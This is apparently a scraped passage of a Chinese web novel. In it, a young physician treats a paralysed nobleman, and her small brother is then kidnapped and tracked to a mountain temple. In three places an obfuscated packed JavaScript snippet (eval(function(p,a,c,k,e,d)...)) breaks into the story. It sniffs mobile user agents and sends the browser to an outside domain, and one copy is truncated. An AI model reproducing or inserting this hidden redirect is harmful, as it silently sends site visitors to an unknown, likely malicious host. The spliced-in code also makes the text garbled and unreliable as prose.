素日里两个大丫鬟向来得脸,在谢府里简直就是半个主子,负责贴身侍候谢骧的生活起居,不管什么都只让她们沾手,如果她们都走了,那让谁推? 自然不会是普通的丫鬟,因为丫鬟们低垂着脑袋大气不敢出,若是让她们谁上手推人,怕不是推出去一段腿软的就要跪下。 “若是公子不嫌弃的话,我推你回去?” 安素雪见过他自己推轮子,但那是在房间里,现下在外面滚轮上沾了灰,他自己怕是不好动手,反正她也要去的,顺手的事情。 谢骧笑的彬彬有礼,“多谢安姑娘。” 他看起来清瘦,实际推起来并不轻松,到的时候她已经面颊粉红,呼吸微促。 进屋之后安素雪去净手,两个丫鬟将谢骧扶在床榻上,脱了鞋袜,将裤腿挽起。 即使不良于行,他身上的肌肉也不曾萎缩,看来红袖和添香时常给他按摩。安素雪展开布卷,纤细的手指捻起银针,边处理边讲解道:“我研究过,配合穴位针灸一起效果会更好。” 她动作利落口齿清晰,并没有因为在场其他人不懂医术而敷衍,依旧细细解释其原理。 鸦羽似的睫毛低垂着,神情专注。 谢骧发现只要涉及到医术相关,她就像是换了个人一样,比如此刻拿着银针往他腿上扎,就如同战场之上的将军拿着武器,所向披靡无所畏惧。 谢骧看向安素雪的眼神里写满了探究。 针灸之后,安素雪还问谢骧:“公子可有什么感觉?” 他摇头。 安素雪拿出五毒贴,蹲在脚踏旁准备给他贴上,巴掌大的褐色膏药,一股难以言喻的涩苦气味,谢骧眉眼闪过一丝不悦。 他最是厌烦这个味道,不过到底什么都没说。 两个膝盖各贴一副,小腿前侧也贴好,安素雪用手按边缘,还嘱咐道:“刚开始会发热,过约莫两个时辰后会有刺痛感,这都是正常的,现在天气越发的热,膏药捂着难免会出汗,到时候兴许会发痒。” 谢骧无所谓,他的两条腿没有任何感觉,哪怕有虫子咬。 结束之后添香送她,说要给安素雪结算要钱,她笑盈盈道:“不急,看看效果如果,若是有效果再收钱。” 院门一关,添香就要转身回去,听见大门被叩响,守门人问谁啊,外面回答道:“是我。” 添香又转身回来。 院门开了,是去而复返的安素雪,她面颊微红,不知是因为日头热还是其他缘故。 从药箱最上层掏出来个油纸包,安素雪递了过来对添香道:“我自己调配的茶叶,如果谢公子不嫌弃的话,可以试试,有安神的作用。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721218|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说话没有方才在房间里治病的时候流畅,添香奇怪的看她,安素雪脸色越发的红,不由得懊悔起来。 其实是安杏花耳提面命,告诉她要和这几个人打好关系,往后贵人起势,她的命格也会改变。 安素雪自然是不相信这些的,架不住安杏花一直念叨。身为母亲她一直担忧安素雪的命格之事,之前因为没有媒人上门,安杏花还病了一次。 安素雪不想让母亲为她烦心担忧,便如实照做。不过她也不知道该如何讨好人,安杏花说让她拿几个人都当罗文罗武对待。 那便好办了。 于是出来前安素雪拿了自己做的茶包,可惜方才做事认真忘了这茬,才想起来。 茶包不是什么稀奇玩意儿,但添香还是拿过去如实禀报。 谢骧拿过茶包,神色莫辨道:“安安送的?” 添香说是,红袖一口银牙都要咬碎了。 “去,泡一壶我尝尝。” 红袖心不甘情不愿的去了。 …… 下午时候安素雪坐在医馆里看手札,因为时间久远,一些字迹已经看不清了。 陈山提醒道:“姑母正处乱世,她所用的方子乃是兵行险招,凶险万分,记得辨别。” 乱世时候药材都凑不齐,能治病救人已经很厉害了,这些方子依旧有很重要的参考价值。 安素雪笑着说好,她继续翻看,想结合姑奶奶的手札找出可以让谢骧腿部恢复的法子。 就算不能完全恢复,让他有感觉也好啊。 字迹辨认不清,有时候会缺那么一两味药材,安素雪誊抄好方子后,会和陈山讨论一番,综合考虑之下往里加药材,当然,也要先熬煮出来“望闻问切”才行。 她回后院去熬药,前厅里安杏花牵着小竹子从外面回来,把孩子往陈山面前推,急急忙忙道:“你看着点他,东门刚宰杀一头猪,我去买两根大骨头回来炖汤喝。” 大骨头是俏货,去晚了就买不到肉多的了,拿上钱安杏花小跑着离开。 陈山逗着儿子玩,小孩长的讨喜,现在零星能说几句话,父子俩其乐融融。 不远处柜台后坐着的陈香玉吃味的轻哼一声,索性拿出香膏来涂手。城里胭脂铺子新出的鹅帐香,她和手帕交排队才买到的。 医馆里来人看病,陈山便招呼陈香玉看着点小竹子。 “啊,知道了。”她抬头应了一声,招呼小竹子过来。小孩咧嘴笑,步履蹒跚的朝着她来,就在她眼皮子底下玩。 香膏涂在手上温润像是猪油,一抹即化不黏腻,低头嗅起来香气略浓郁,不过应当一会就散开了。陈香玉十指不沾阳春水,很是注重手部保养,就连指甲上也细细的涂抹了一遍,没放过任何小角落。 两只手涂完,她举起来自顾自的欣赏。 “香玉,小竹子去后院了?” 看完病的陈山在医馆里寻了一圈没看见小儿子,陈香玉腾的站起来。“他刚才还在这!” 陈山脸色煞白,一阵风似的冲向后院,却从安素雪口中得知没见小竹子过来。 22. 第 22 章 陈山急切的又往前厅去,安素雪也顾不上熬药了,直接将药锅子拿下来灭了火,紧随而上。 陈香玉早就慌了神,往医馆外面跑的时候差点被门槛绊倒,扶着门框朝外面喊:“小竹子!” 这儿会陈山已经来到商铺前门处,如同一支箭冲了出去喊儿子的名字,后赶来的安素雪也跟着一起喊,还去问旁边酒馆的罗母是否看见人。 “没瞧见啊?小竹子不见了?”罗母放下正在嗑的瓜子,也跟着一脸急色,“会不会是你娘抱走了?” 刚提到人,就见安杏花拎着两根大骨头和一条肉回来。她去的早,和朋友一起抢在前面,挑了最好的两根打算给家人熬汤滋补身体,喜滋滋的往家走,还不待走近就看见爷三个都在街上,面色惨白,像是发生了什么不好的事情。 安杏花心里一咯噔。 “怎么了这是?” 她快步上前,陈山张了张嘴不知该怎么说,陈香玉垂着眼帘不敢看她,安杏花一颗心提了起来,张望道:“你们都在这,谁看着小竹子?” “小竹子他,不见了。” 罗母也出来了,收到消息的罗文罗武走到门口,正好看见安杏花眼白一翻晕倒在地。 “娘!” “杏花!” 附近不明所以的行人吓了一跳,陈山抱着人,安素雪反应极为快速的按下人中。 安杏花悠悠转醒,随后便是哀嚎落泪:“怎么回事?小竹子怎么会不见了?” 陈山安抚:“你先别哭,我们还在找。” 安素雪快速道:“我去东边找再报官,兴许小孩被什么有趣的东西吸引,他年岁小走不快的,如果有官府的人帮忙再好不过。” 说完便小跑着离开。 罗文罗武见状跟了上去。 安杏花抹了一把眼泪,挣扎着站起来,总算回归几分理智。 “找人,快,找人,都帮我找找我家小竹子啊!” 这条路是城里最繁华的街道,人来人往,丢个孩子根本就发现不了。安杏花安慰自己小竹子懂事不会乱跑,兴许就在哪个地方蹲着玩蚂蚁。 陈山还算冷静,请罗母代为看着铺子,若是小竹子回来留住人,免得他们都不在孩子又走了。 陈香玉已经跑着去找人了,边找边哭,无比懊悔方才没看住孩子。 安杏花脚步虚浮走的不快,陈山一直搀扶着她,安杏花推了他一把,又恼又悲。 “你别管我,快点去找人,眼看着日头偏西了!” 她急迫的不行,往日里温柔的妇人焦急之下厉声厉气。 现在找孩子是头等大事,其余的也顾不上那么多了。安素雪第一次来衙门报案,才知道想要见到官爷得层层通报,她站在衙门外焦急万分,罗文见状道: “安安,你先在此等着,我和罗武去附近找一找,一会我们在前面章记见。” 罗武其实更想留下来陪着安素雪的,不过大哥没给他这个机会。 焦急的在县衙门口踱步,安素雪只觉得嗓子开始泛起疼意。如果是平时,她会给自己吃药,不方便的话会按摩手上穴位来缓解。但现在她什么心思都没有,满脑子都是弟弟去向。 又等了一炷香的时间,总算来人了。 “姑娘所言已经记录在案,请回去等消息吧。” “什么?” 安素雪圆瞪杏眸,不可置信道:“难道大人不派人出去寻吗?眼看着就要天黑了,到时候……” “说了叫你回去就回去!哪儿那么多废话!” 这人不是县令大人,却拿着大人的架子,对待普通百姓吆五喝六,百姓们敢怒不敢言,一般都讪讪的回去了。 “事情紧急,可否让我见大人一面?我弟弟年幼,若是不及时找到,恐怕有危险。” 那人变得不耐起来。 “大人日理万机,岂是你想见就见的,都说了赶紧回去,走吧!” 他挥挥手,转身进了衙署,安素雪不甘心的看着对方背影企图追上去,被守卫拦下。 见她急的要哭,那守卫好心告诉道:“丢孩子来报官的,一天没有十起也有八起,实不相瞒,晌午也有人来说他们家孩子丢了,才不到一个时辰,就在邻居家找到。不少孩子就是贪玩出去了,压根不是丢,所以姑娘你回去好好找找,说不定你弟弟就在谁家睡觉呢。” …… 陈家医馆开着门,有人来看诊,罗母就代为解释道:“不好意思,陈大夫家里有事,今日不看诊,你明日再来吧。” 陈家医馆生意不错,罗母索性搬了凳子坐在两家中间,这样有人来买酒也能兼顾上。 入春之后一日比一日热,到了黄昏时分空气滞闷,罗母摇着扇子扇风,又有人来医馆,罗母赶忙说明情况。 “安大夫也不在吗?” “不在,请明日再来吧。” 那人转身走了,罗母多注意了一眼,这才发现竟然是对街谢府里出来的仆从。 “谢公子到底什么身份?” 罗母做生意多年也没少见到城里的权贵富绅,但没有哪个能像谢府似的,全府上下好几十仆从丫鬟只侍奉一个主子。 可惜,谢府的大门开了又关,再无动静。 罗母摇晃着扇子,心想再送酒时候她去好了,看看里面什么样。 普通过路人并不知道这间宅院占地广费用高,只是瞧着门口的石狮子气派,便多看两眼。 厚重的朱红漆大门合上,隔绝外面探究的视线和各种嘈杂之声,越往里走越是静谧,甚至来往的丫鬟们俱是一言不发各忙其事。 那仆从低头走到二门处,禀告道:“添香姑娘,安大夫不在。” “怎么会不在?出去看诊了?” 幸好仆从多打听了一嘴,道:“听说是安大夫的弟弟不见了,他们一家都出去找人了。” 添香如实禀报。 “她有弟弟?” 谢骧捧着茶盏,屋里窗帘拉开一半,黄昏的光亮照进来,低眉浅啜的年轻郎君好像都少了几分戾气。 “是,奴婢曾见过一次,约莫两三岁的样子。”添香知道谢骧待安素雪不同寻常,便多说了两句。 “安大夫是跟着她母亲嫁来的陈家,随母姓。” “同母异父。”谢骧忽然说了这么一句。 添香看了一眼红 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李昌握着剑柄,燥热从手心开始蔓延,全身的血液都开始沸腾起来。李昌知道他们主子看似颓靡,实则身体里流淌的真龙血脉总会醒来。 “是,请殿下吩咐!” “去找一个孩子。” “是,李昌定不辱命!” 激烈的表完忠心才觉得哪里不对,他抬起头面带吃惊。不过转念一想,主子应当有自己的安排,或许这个孩子是重要棋子。 “添香,你告诉他那孩子长什么样,去吧。” 出了房间,添香开始描绘孩子的长相,末了添了一句。“是安大夫的弟弟,和她长的有三分像,尤其是眼睛,都生的好看。” “等等,安大夫的弟弟?”李昌热血凉了一半。 添香把今日发生的事情描述一遍,李昌剩下的另外一半也凉了。 他苦涩无奈道:“好,我这就带人去找。” 杀鸡焉用牛刀。 心里这般想着,不免就有些懈怠。他刚走回后院护卫住处,有个小丫鬟急匆匆的来了。 “公子说,要在天黑之前找到人,否则自去领罚。” 小丫鬟说话声音软乎乎的,但听在李昌耳朵里却犹如炸雷。 他恨不得给自己一巴掌。 当真是安逸久了忘了谢骧的性子了。 “你们几个,跟我出去找人。”立刻点了几个好手离开,剩下的继续留在府里保护主子。 …… “主子,李昌带五个人走了。” 手下都是能人,五个足以。 谢骧淡淡的嗯了一声,让红袖再续壶茶水。添香过来放刚出锅的糕点,将那几碟未动过的撤下。 “主子莫要担心,李昌肯定很快就找到安大夫的弟弟。” 谢骧无动于衷。 一个不曾见过面的孩童罢了,丢了与他何干? 他就是厌烦这些事情绊住她的脚步,替她解决后她便能过府来。 23. 第 23 章 汇合之后,安素雪将官府的事情说了。 罗武恼的脸红脖子粗,作势就要去理论,罗文拽住他。 “大哥你别拽我,凭什么孩子丢了他们无动于衷!我倒要过去问问,父母官是怎么做的!” “官府一向视人命如草芥,要想让他们动起来为民办事,得用特殊的法子。” 安素雪连忙问:“什么办法?” 她急迫的眼睛发红,垂泪欲滴,看的罗文揪心。他安抚道:“安安别急,跟我来。” 罗武不明所以,还有点恼自己没有大哥聪慧。 他们一路折返回衙门,罗文说报官,守门的衙役看了一眼安素雪,皱眉道:“刚才不是已经报过官了吗?去去,别耽误大人办正事。” 官差驱赶他们,罗文偷偷往对方手里塞了一把铜钱。那官差顿时变了嘴脸,道:“行,报官可以,不过方才那位姑娘已经报过官了,这次换你来报。” 否则他也得跟着吃挂落。 罗文自然说好。 等到管事的官差出来,安素雪躲在了一旁,罗文负责上前和对方说话,照旧偷偷塞了钱,只不过这次是一小块碎银子。 像是变脸似的,方才还愤愤的表情立刻舒展,喜笑颜开道:“你放心,我这就汇报给大人,定能将你弟弟尽快找到。” 罗文抱拳道谢说找到人之后必有重谢,不忘追问一句:“大人会即刻派人追查吗?” “那是自然!大人为一方百姓鞠躬尽瘁,定会全力以赴!” 这人说的慷慨激昂,藏在墙角处的罗武愤愤不平。“屁话!” 安素雪咬着唇,只期盼能如他所说快点加派人手找小竹子。 报官结束之后自然要继续找人,安素雪从荷包里拿出银子要给罗文,方才是他用自己的钱贿赂官差,她不会让他掏腰包的。 罗文拒绝,只道:“现在找孩子最要紧,一切等找到孩子再说。” 城里说大不大,但说小肯定不小,找一个幼童,犹如大海捞针。罗武道:“安安,小竹子确定是自己走失的吗?小短腿再倒腾,也走不出一条街啊。” 罗文瞪他一眼。 罗武挠挠头,没觉得自己说错了。 话糙理不糙啊,小竹子那么小,就算他自己贪玩出去,按理来说也走不远才是,可他们将附近都找了,还问了医馆附近的商铺,都说没看见小竹子。 所以孩子很有可能被抱走了。 安素雪脸色一白,不想承认这个事实,可现实就摆在这,找小竹子变得越发急迫起来。 “我们顺着这条路找,问商铺和路人,安安,你别急,一会官府就派人出来寻了。” 话音刚落,官府果然出来一队穿着官服的衙役,安素雪心下稳当不少,或许很快就能找到弟弟。 可眼看日头偏西,小竹子依旧没有下落。 安素雪已经急的嗓子冒烟了,她甚至都不敢想现在娘在做什么,小竹子是她盼了许久的孩子,有了小竹子之后这个家才算真的圆满,陈家族人也不会再来“讨伐”她们母女,俊俏可爱的小竹子是全家人的心头肉。 越想,安素雪就越发的难过,忍不住偷偷用袖子擦眼泪。眼前重新变得清晰之后,安素雪继续找路人询问。 “请问你可否见过一个这么高的孩子,眼睛大大的,皮肤很白,穿着一件青绿色的衣服,脚上是一双虎头鞋。” “没见过。” 再次听到这样的回复,安素雪难掩失望,望着人潮涌动的街道,一时迷失自我。 该去哪里找?小竹子会在这里吗?他会不会……被人拐走了? 去年听说城里丢过孩子,难道…… 不,不会的。安素雪强自镇定,告诉自己莫要慌张,掐着手心冷静下来,可身体不受控制的颤抖,她紧咬着下唇,疼痛感冲淡慌张。 “你要咬死自己?” 耳边忽然传来这么一句,安素雪回过头,就见季飞白不知何时立在身后。 异域少年面上沁了薄汗,呼吸略急,他身边立着一匹膘肥体壮的骏马。 “上马,”他说。 安素雪:“什么?” “衙门那边说城里丢了好几个孩子,很有可能被人贩子带出城了。”季飞白抬头看了眼天色,“城门快要关闭,要赶在关城门之前出去。” 他语速很快,三言两语将事情讲清楚,在安素雪点头的那一刹那,他两只手扶住她的腰,直接将人高举上马背,随后他长腿跨上去。 “坐稳了!” 话音落下,骏马疾驰,马蹄声起,路上的百姓纷纷避让。 事发突然,等到罗家兄弟飞奔而来的时候,早就不见他们的踪影。 “大哥,季飞白把安安带走了!我们怎么办?” 罗文思量片刻,“看来他应该知道孩子丢了的事情,看方向应当是往城门处去,说不定就是去接孩子,罗武,我们跟上。” 罗武有心说两条腿哪里能追上四条腿,就见跑在前面的罗文去了附近相熟的米行。 罗家酿酒需要粮食,基本都在此进货,两家相熟想要借一匹马不是难事。 罗武吃惊:“大哥你会骑马?” “不会。” 可现在不会也得会,否则赶不过去。 罗家兄弟共乘一骑追了过去,待追到城门处时,眼看着城门就要关闭,附近没见季飞白和安素雪的身影,莫不是出城了? 罗文咬牙快马加鞭,给了守城护卫一把铜板又说明情况,这才紧赶慢赶的出了城。 城外地势辽阔,坐在前面的罗文一眼就看见远处骑马的二人。他拽紧缰绳道:“抓紧,我们追上去。” 二人都不会骑马,上马还费了一番功夫,骑这么会儿,罗武只觉得五脏六腑都要被颠出来了,还要抓紧免得掉下去。 罗武面色惨白,忍着想要呕吐的感觉。“大哥,追。” 明明已经竭尽全力,马儿飞奔着向前,可怎么感觉和前面的季飞白距离越来越远? 路两边的景物在飞快倒退,颠簸的马背上安素雪紧紧夹着马腹,两只手落在马颈上环住,身体不由得前倾。 季飞白低头看了她一眼,面色白的不像话。 片刻后,他左手穿过她腋下,示意她抓着自己。季飞白用他的胳膊作为她的扶手,安素雪牢牢抓住。 与扶着马背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752143|155415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相比,自然是季飞白更为可靠。 他们一路前行,看见前方有穿着官服的官差,季飞白上前攀话,得知他们是报案的苦主后,官差如实道:“有可靠消息说是有人带走三个孩子,兴许你们的家人就在其中。可现在有三条岔路,不知晓人贩子走的哪条路。” 安素雪往前方看,果然有个三岔口。 他们一同赶到岔口前,季飞白询问三条路的去向。 一个官差道:“左边是北上通往京城,中间这条通往下一个城池,右边的小路则是通向香佛寺。” “你与他说这些作甚,赶紧,我们兵分两路去追,趁着天亮追上。” 显然,如果人贩子带着孩童不可能去寺庙,那和自投罗网没什么区别。 一共是十一个人的官差队伍,拆分成五人和六人,各朝着一个方向追过去。 季飞白却没动。 “我们追上。”安素雪道。 季飞白:“追哪边?” 安素雪犹豫过后分析道:“如果当真是人贩子拐卖孩童,他们会害怕见到人,或许不会去下一个城池,而是往京城的方向去,一路荒无人烟,自然没人发现他们拐了孩子。” “不得不说,你分析的很对。” 季飞白虽是如此说,但依旧没有追赶的意思,俩人停在这的时间久了,罗家兄弟追赶上来,不会让马慢下来只能使劲勒马缰。 马的两只前蹄高高抬起,坐在后头的罗武被颠下马背,躺在地上疼的嘶哈,马长嘶停下来,却已经跑过了,罗文只得折返回来。 “安安,怎么样?”罗文坐在马背上问。 罗武捂着被硌的生疼的后背,赶忙也上前来。“怎么样?是不是有小竹子的消息了?” 安素雪长话短说,罗武没什么想法,不知道该追哪条路,罗文则是道:“不如我们分开两条路去追,到时候和那些官差也有个照应。” 安素雪:“也是个法子,事不宜迟,我们赶紧追上。” 罗武有心说和安素雪一骑,可他不会骑马,怕摔坏了她,便只能眼睁睁看着她和季飞白在一起。 罗武重新爬上了马背,罗文道:“我们去左边追,你们去右边。” 季飞白不仅没有要走的意思,甚至下了马背,蹲下去不知道在看什么。安素雪俯身,试图弄清楚他的意图,罗武皱眉道:“季飞白,你做什么?再蹲一会天都黑了!” “不去弄清楚方向就算骑马追一天一夜也没有意义。” 这句话总觉得有嘲讽的意思,罗武竖眉怒道:“你什么意思?” 弟弟和外人,罗文自然会帮着弟弟,于是眼神冷冷的看季飞白,语气虽委婉但阴阳怪气。 “季公子不是本地人可能不知道,人贩子抓孩子就是为了贩卖,若是耽误下去孩子安危无法保证。” 安素雪急了,费力的从马上跳下来。 “季公子,我们快走吧。” 他好像在地上摸了一把,而后站起身拍了拍手上的土。“走。” 照例先将安素雪抱上马,罗武怒目而视,季飞白视若罔闻,直接一马当先的冲了出去。 却跑向通往香佛寺那条路。 24. 第 24 章 谢府。 李昌回去复命。 “主子,已经将人贩子的动向告诉官府了。” 原本他该带人追出去的,但谢骧吩咐他做事莫要留痕迹,于是李昌找人递了消息。 “官府的人在关城门之前出去了,应当今夜就有消息,将孩子带回来。” 李昌看见官差出城他才回来复命,上首处的谢骧颔首,狭长的眉眼扫过来,薄唇吐出一句:“做的不错。” 自从搬来这等小地方,李昌简直没了用武之地,也鲜少见到主子,更不用说被主子夸奖。听见这四个字,李昌面露喜色。 “卑职分内之事。” 挥挥手叫他退下,谢骧揉着额角坐在窗边。 白日里窗户紧闭,天黑之后他倒是开了一扇窗户。红袖端来一盏灯放在窗边,添香过来送糕点和瓜果。 “主子,这是庄子上送来的早春樱桃,个头小但胜在饱满,酸甜多汁,您尝尝。” 谢骧瞥过来,果然只有指甲盖大,色泽艳丽,水珠滑动,看着就开胃。 “送了多少?” “刚熟透的都摘过来了,约莫两斤。” 给谢骧用自然都是最好的,底下人费尽心思才得来这么些。红袖看见的时候还叹了口气,心想以前在京城时候哪里吃过这么小的樱桃,真是物是人非。 “再去洗一碟,另外,做几样糕点,金丝糕杏仁酪都要。” 谢骧一直食欲不振,闻言红袖大喜,还以为他终于想吃东西了,连忙道:“厨房还有一尾活鱼,养了两日吐干净泥沙了,主子,要不然让他们烹了?” “也好。” 谢骧索性吩咐多做几道菜,多是爽口清淡的菜色,吩咐完之后,谢骧又道:“去将安姑娘请过来,她弟弟不见应当心情不好,美食美酒聊以表安慰。” 红袖面色难看,谢骧抬起眼帘。 “还不去?” “是。” 府里美酒不少,但大多是烈酒,谢骧手指点着桌面,突然想到:“我记得库房里有一坛从京城带回来的胭脂红,添香,你去取来。” 胭脂红乃是京城权贵世家最喜爱的酒,味道清爽甘甜,适合女子饮用。谢骧就是嫌弃没有酒劲才一直没动,价值百两的酒水被随意放在库房,要不是今日想请安素雪喝,差点都忘了。 添香捧着酒坛子回来路上,恰好和从外面回来的红袖撞上。红袖本就嫉妒,再一看那坛胭脂红,眼睛也如封纸一般红的欲要滴血。 “是主子让你拿的?” “定然是了,咦,怎么安姑娘没和你一起来?” 只红袖自己回来。 “她不在。” 进到主院如实复命,谢骧面色阴沉,手里捏着一块金丝糕,声音凉凉道:“你是说,她也出城了?” 人没请来,红袖暗自高兴,可看见主子怒了,红袖也战战兢兢。“……是。” 修长手指倏地捏碎了糕点。 屋里一时安静下来。 好半响之后,谢骧笑了。 “主子。”红袖噗通跪下,屋里的其他丫鬟仆从跪了一片。 谢骧生气他们害怕,谢骧笑他们更是战战兢兢。饶是侍候多年,红袖也拿不准谢骧的脾气,唯有等候发落。 “告诉李昌自去领罚。” 无情吐出这么一句后谢骧揉着额角,再看一眼窗西沉的日头。 “她自己出城?” “奴婢去请的时候只知道安姑娘出城找人,至于和谁出去,奴婢不知。” 心里止不住的躁意。 “派人在城门口等着,若她回来立刻告知。” “是。” …… 罗文看见季飞白朝着香佛寺方向去,觉得他脑子有问题。 “季公子!”他喊人。 这时候的季飞白却是在和安素雪解释缘由,他道:“按照官府的说法,人贩子手里有三个孩子,他们不可能走路,只能是骑马或者乘坐马车。要想不动声色的将孩子从城里带走不被路人或者守卫发现,应该是马车。我观察过地上的痕迹,只有通往香佛寺的方向有马车痕迹,而且是新鲜的去痕。” 坐在颠簸马背上,季飞白说话不急不喘徐徐道来。 虽然有理有据,可安素雪还是不安心,“真的吗?” 季飞白眼睛一直目视前方,嗯了一声后,安素雪咬着唇,暂时没了主意。如果季飞白猜错了怎么办?转念一想,另外两条路有官府的人。 不过安素雪还是心烦意乱。 季飞白速度太快,等到了山脚下,罗家兄弟才追上来,气喘吁吁道:“季公子,怎么走这条路?” 季飞白三言两语将事情说了,罗文皱眉,罗武直接质疑:“官府的人都没发现,你怎么发现的?你确定?” 季飞白下马,扶着安素雪下来,深邃的眼眸扫向四周,静悄悄不像是有人的样子。 “找找。”季飞白道。 罗文思量更多,在罗武怒气冲冲要去找季飞白的时候将人拽住。“先看看,一会再去追官府的人也不迟。” 季飞白不是傻子,罗文觉得他这么做肯定自有其道理。 天色渐晚,他们的寻找没有结果,安素雪越发的急躁难熬,罗武跟在她身后亦步亦趋,忍不住挥拳打了一下头顶的树枝。 “季飞白在搞什么?耽误时间!” 这话像是往燃烧的火焰上扔了一捆柴,烧的安素雪脑子都开始发昏,脚步踉跄。紧紧抠着手心保持清醒,安素雪低声道:“再找一会,如果没有,我们直接去追官府的人。” 那样就能和季飞白分开了!罗武赶忙应声说好。“不过安安,两条岔路,我们追哪条?” 安素雪也不知道,正当她思忱之时,听见罗文喊:“安安,找到了!” 季飞白发现藏在林子里的马车,车里没人,但散落着几截绳索。 “是捆孩子用的?”安素雪扒着车帘钻进来,仔仔细细的检查过,又在角落里发现红绳拴着的平安符。 “小竹子的!”安素雪紧紧捏着它,情绪肉眼可见的激动起来。“这个平安符是小竹子的,上面打结手法就是出自我娘。” 此时天色彻底黑了下来,暗色里妙龄姑娘的眼眸亮的惊人,含着一汪水。 等季飞白再看过去的时候,安素雪已经比方才镇定不少,垂着眸子看不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夜色朦胧,本来焦急万分的安素雪被季飞白短短几句话安抚下来,身边又有熟识的罗文和罗武帮忙,她自然敢独去寺庙求助。 于是事情就这样简单快速定下,四个人分头行动,罗武勉强上了马,“驾”一声飞奔离去;安素雪提着裙摆,大步跨上台阶朝着半山腰的寺庙去;罗文则是跟着季飞白往山上摸。 刚开始还能找到一些痕迹,可随着天越来越黑,眼看着就要伸手不见五指,恐怕容易寻错方向。 罗文刚要想办法生火,就听嗤啦一声,走在他前面的季飞白手心里拢着一团橘黄的光亮。 异域少年弯下腰,随手捡了一截枯树枝,将衣服扯开一块布料缠在木枝上,又从怀里掏出个小瓶子,滴落了什么,然后光亮就在他手上散开。 “这个给你。”他回过头,将火把给罗文,又如法炮制做了一个。 罗文张张嘴,惊讶他身上竟然随身携带火折子和火油。 难道他们那边人出行都是准备齐全的吗? 另一边的安素雪已经爬到了寺庙前,敲紧闭之门,半响之后有僧人来开门。 “施主,今日不可再上香了,请明日再来。” “等等。”安素雪用手去攀住要关的大门。 25. 第 25 章 本地只有一个寺庙,就是香佛寺。 初一十五寺庙香火旺盛,人流鼎沸,但入夜之后寺门紧闭,山林祟祟,荒无人烟,倒叫人心里害怕。 安素雪没那么多心思,她提着裙摆跨阶而上,满心满眼都是求助佛门,早点找到弟弟。 待来到半山腰后,安素雪已经浑身是汗,夜风吹过,遍体生寒。 她缓了口气,扣住门环,三声响动之后,安素雪站立在门口静静等待。 过了一会,有人在里面喊:“外面何人?” “师傅,有要事相求,劳烦您开门。”安素雪急声道。 听声音是个年岁小的姑娘,开门之后,就见发鬓散乱的少女仰着头,杏眸里水光涌动。 “施主,深更半夜为何在此出现?” 安素雪说话声音都是颤抖的,但理智尚在,三言两语将事情讲清楚,那僧人大骇:“他们只有两个人追上去?” 安素雪急急道:“正是,所以能否通融让我见见方丈,求他派人帮忙。” 关乎人命的大事,那僧人立刻让她进来,急忙带着她往寺庙后身去。香佛寺前面是几个大殿,供奉着各路佛祖,有的大殿关着门,有的则是半开着,能看见里面小僧弥在打扫。 佛祖慈悲,保佑我弟弟和其他孩子能平安无事。 安素雪双手合十默默念了一句后,急步追上。 寺庙后身则是罩房,划为三个区域,一个是用来吃斋饭的饭堂,一个是供香客住的客房,最里面则是僧人住的地方。 安素雪看了一眼,见客房有两间房亮着灯,想必是留宿的香客。僧人让她在外面稍等,他进去通报,安素雪再心急也得点头说好。 罗武骑马去找官府的人,肯定没有寺庙的人来的快,季飞白和罗文两个人也不知道怎么样了,可否寻到了踪迹? …… 寻是寻到了,可也费劲了心思。 山林里草木丰盛,无处下脚,又天黑瞧不清楚,罗文甚至都不知道走哪里,还是季飞白在前面带路,他一步步的跟着。 刚开始罗文怀疑他带的路,毕竟偌大的山林,他怎么知道如何走? 于是他发问,前面的季飞白指着地上的痕迹道:“人走过必留痕,压倒的草就是最好证明,只要跟着走就成。” 罗文低头一看,果然有不起眼的痕迹。都怪天太黑看不清楚,罗文默不作声的继续跟着。 天公不作美,今夜厚重的乌云挡住了月亮,他们手里的火把换了两次,最后一点光亮消失后,暗色里的季飞白低声道:“火油不够,先留着备用,你跟紧我。” “这么黑能看见路吗?” 最后一点火星子消失之后,罗文甚至觉得瞎了,眼前一片漆黑,过了好一会才勉强看清一点季飞白的轮廓。 树林茂盛,挡的严严实实,若没有光亮恐怕很难寻到踪迹。 季飞白拿出火折子,吹了吹,一点零星的亮光,他道:“跟紧我。” “对方应当有四五个人,痕迹好寻,”季飞白速度不减,罗文咬牙跟上,就听他继续道:“你可会功夫?” 罗文:“略会皮毛。” 小时候他和罗武总打架,罗母被双生子弄的烦躁,索性将人送去武馆,俩人日日在武馆里打,在家里老老实实。 季飞白道:“好,现在只能盼着对方没有人接应。” 罗文深谙其理,人越多对他们越不利,还不知道后援什么时候到。 …… 年轻的郎君们脚程很快,罗文也不知道季飞白怎么能准确找到方向,一路上还留下不少痕迹,为后面官府的人指明路线。 走了不知道多久,隐约觉得兴许已经过了半宿,前面出现若有如无的光亮,季飞白脚步缓了下来,罗文也屏住呼吸。 俩人竟然有默契的无声逼近,在树后隐藏住身形,看见不远处拢着一堆火,火堆旁坐着两人,地上躺着几个人似乎在睡觉。 距离远,看不清是否有孩子,罗文招呼季飞白,二人又悄声朝前走了几步。 